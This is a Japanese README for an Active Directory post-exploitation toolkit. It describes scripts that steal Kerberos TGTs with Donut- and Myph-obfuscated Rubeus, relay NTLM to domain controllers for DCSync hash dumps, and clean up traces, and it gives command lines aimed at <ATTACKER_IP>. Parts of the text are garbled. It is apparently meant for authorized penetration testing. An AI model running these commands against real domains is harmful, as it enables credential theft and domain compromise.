
Active Directoryの自動化されたポストエクスプロイテーションツールキット。Kerberosチケット抽出、NTLMリレー攻撃、NetExec、Impacket、Donut統合によるラテラルムーブメントをサポート。
このリポジトリには、Active Directory環境内でのセキュリティ評価とペネトレーションテストのために設計されたPythonオーケストレータースクリプトのコレクションが含まれています。これらのツールは、侵害されたワークステーションまたはサーバー上でローカル管理者アクセスが既に確立されており、広範なActive Directoryドメインに向けてラテラルムーブメントまたは権限昇格を実行することを目的とするポストエクスプロイテーションシナリオに特化して設計されています。
NetExec、Impacket、Donut、BloodyADなどの一般的なセキュリティユーティリティを含むワークフローを自動化することで、これらのスクリプトは複雑なマルチステッププロセスを繰り返し可能な単一コマンド操作に効率化します。
スクリプトは、以下のツールがホストシステムにインストールされ、システムの PATH 内で利用可能であることを必要とします:
nxc)impacket-ntlmrelayx, impacket-secretsdump, impacket-ticketConverter)awk、base64コンソール出力の書式を強化するには、以下のパッケージをインストールしてください:
pip install colorama rich
harpyTGT.py)このスクリプトは、ログイン中のWindowsセッションからKerberos Ticket Granting Ticket (TGT) の抽出を自動化し、Linux互換の ccache 形式に変換します。
Rubeus.exe シェルコードペイロードを生成し、Myphを使用して難読化を適用し、スケジュールタスク (schtask_as) または mmcexec を使用して結果のバイナリをターゲットホスト上で実行します。標準実行(対象ユーザーに管理者権限がある場合):
./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe>

代替実行(対象ユーザーに管理者権限がない場合):
./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe> --no-target-admin --attacker-ip <ATTACKER_IP>

harpyRelay.py)このスクリプトは、ドメインコントローラ上の誤って構成されたSMBまたはLDAP署名ポリシーを標的としたNTLMリレー攻撃を調整し、ドメイン全体の権限昇格を達成するか、NTDSデータベースダンプ(DCSync)を実行します。
ntlmrelayxリスナーを起動し、NetExecを介して侵害されたクライアントから認証要求をトリガーし、成功したエクスプロイトの出力を監視し、ドメインハッシュをダンプします。このツールには、ターゲットドメイン上のフットプリントを最小限に抑えるための自動クリーンアップルーチンが含まれています。LDAPSフロー(標準):
./harpyRelay.py--target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL>
LDAPフロー(LDAPSが利用できない場合の代替フロー):
./harpyRelay.py --target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL> --no-ldaps

stealTGTNetExec (nxc) 用のカスタムモジュールで、ターゲットマシン上の特定のログオンユーザーからKerberos Ticket Granting Ticket (TGT) を抽出するように設計されています。
このモジュールは mmcexec を介して SYSTEM として動作し、回避型ペイロード(DonutとMyphでRubeusをカプセル化)の生成、メモリ内での実行、Base64チケット出力のキャプチャ、そしてLinuxで使用可能な .ccache ファイルへの透過的な変換を自動化します。
このモジュールは、以下のユーティリティがインストールされ、$PATH 内で利用可能であることを自動的に確認します:
donutmyphimpacket-ticketConverter外部モジュールをNetExecにロードするには、stealTGT.py スクリプトをローカルのNetExecモジュールディレクトリにコピーします:
cp stealTGT.py ~/.nxc/modules/
netexec smb <TARGET_IP> -u <ADMIN_USER> -p <ADMIN_PASS> --local-auth -M stealTGT -o USER=<TARGET_USER> RUBEUS=/path/to/Rubeus.exe
モジュールオプション (-o):
USER: TGTを収集したい現在ログオン中のセッションのユーザー名(例: jdoe)。RUBEUS: 攻撃者マシン上の正当な Rubeus.exe バイナリが配置されているローカルパス。
bloodyad または netexec を使用して自動的に削除を試みます。重要な注意事項: このリポジトリは、許可されたセキュリティ監査、脆弱性研究、教育目的のみを対象としています。システム所有者から事前に明示的な書面による許可を得ることなく、これらのツールを本番環境に対して実行することは固く禁止されています。著者は、本ソフトウェアの展開に起因する誤用、付随的損害、または法的結果について一切の責任を負いません。